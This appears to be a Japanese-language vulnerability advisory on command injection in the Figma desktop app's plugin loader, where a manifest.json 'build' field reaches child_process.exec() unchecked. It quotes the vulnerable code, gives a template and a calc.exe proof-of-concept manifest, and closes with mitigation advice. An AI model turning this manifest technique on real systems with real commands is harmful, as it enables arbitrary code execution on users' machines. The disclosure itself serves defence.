
Figmaデスクトップアプリケーションにおけるプラグイン実行を介したOSコマンドインジェクションの脆弱性
Figmaデスクトップアプリケーション(v125.6.5)には、プラグインローダーにコマンドインジェクションの脆弱性が存在します。
悪意のあるプラグインマニフェスト(manifest.json)は、検証なしにchild_process.exec()に直接渡されるbuildフィールドを悪用できます。
これにより、プラグインが読み込まれた時点で、セキュリティ警告やプロンプトなしに任意のOSコマンドが実行される可能性があります。
この脆弱性は、main.js内のコードに起因します。このコードはNode.js組み込みのchild_processモジュールをインポートします:
Zlt = require("child_process")
後で、プラグインのmanifest.jsonファイルにbuildフィールドが存在し、その値が文字列である場合、アプリケーションはサニタイズや検証なしに、その値を直接child_process.exec()を使用して実行します:
if (
s.build &&
typeof s.build === "string" &&
(l.path = process.env.PATH || "",
await new Promise((g) => {
(0, Zlt.exec)(s.build, { cwd: i }, (y, I, P) => {
l.stdout = I;
l.stderr = P;
y && (l.buildErrCode = y.code);
g();
});
}),
l.buildErrCode
)
return l;
その結果、悪意のあるプラグインに含まれる次のmanifest.jsonファイルは、buildフィールドの値をOSコマンドとして実行させることになります:
{
"name": "<NAME>",
"id": "<ID>",
"api": "1.0.0",
"main": "code.js",
"build": "<COMMAND>",
"capabilities": [],
"enableProposedApi": false,
"documentAccess": "dynamic-page",
"editorType": [
"figma"
],
"networkAccess": {
"allowedDomains": [
"none"
]
}
}
この実行フローはFigmaのプラグイン処理ロジックに組み込まれており、main.jsにrequire("child_process")呼び出しが含まれていることから、コマンド実行がアプリケーションのコアロジックに直接組み込まれていることが確認できます。
次の悪意のあるmanifest.jsonを含むプラグインを実行すると:
{
"name": "poc",
"id": "1535549154235958412",
"api": "1.0.0",
"main": "code.js",
"build": "calc.exe",
"capabilities": [],
"enableProposedApi": false,
"documentAccess": "dynamic-page",
"editorType": [
"figma"
],
"networkAccess": {
"allowedDomains": [
"none"
]
}
}
このプラグインがFigmaに登録され実行されると、指定されたOSコマンド(calc.exe)が即座に実行されます。
Figmaデスクトップアプリケーションではbuildフィールドの実行が公式にサポートされている機能ですが、アプリケーションは可能な限りmanifest.json内のbuildなどのユーザー制御フィールドに依存しないようにすべきです。
そのようなフィールドをサポートしなければならない場合は、コマンドインジェクションを防ぐために厳格な入力検証を行う必要があります。
さらに、Node.jsのchild_process.exec()の使用は避け、明示的な引数処理を備えたより安全な代替手段を採用する必要があります。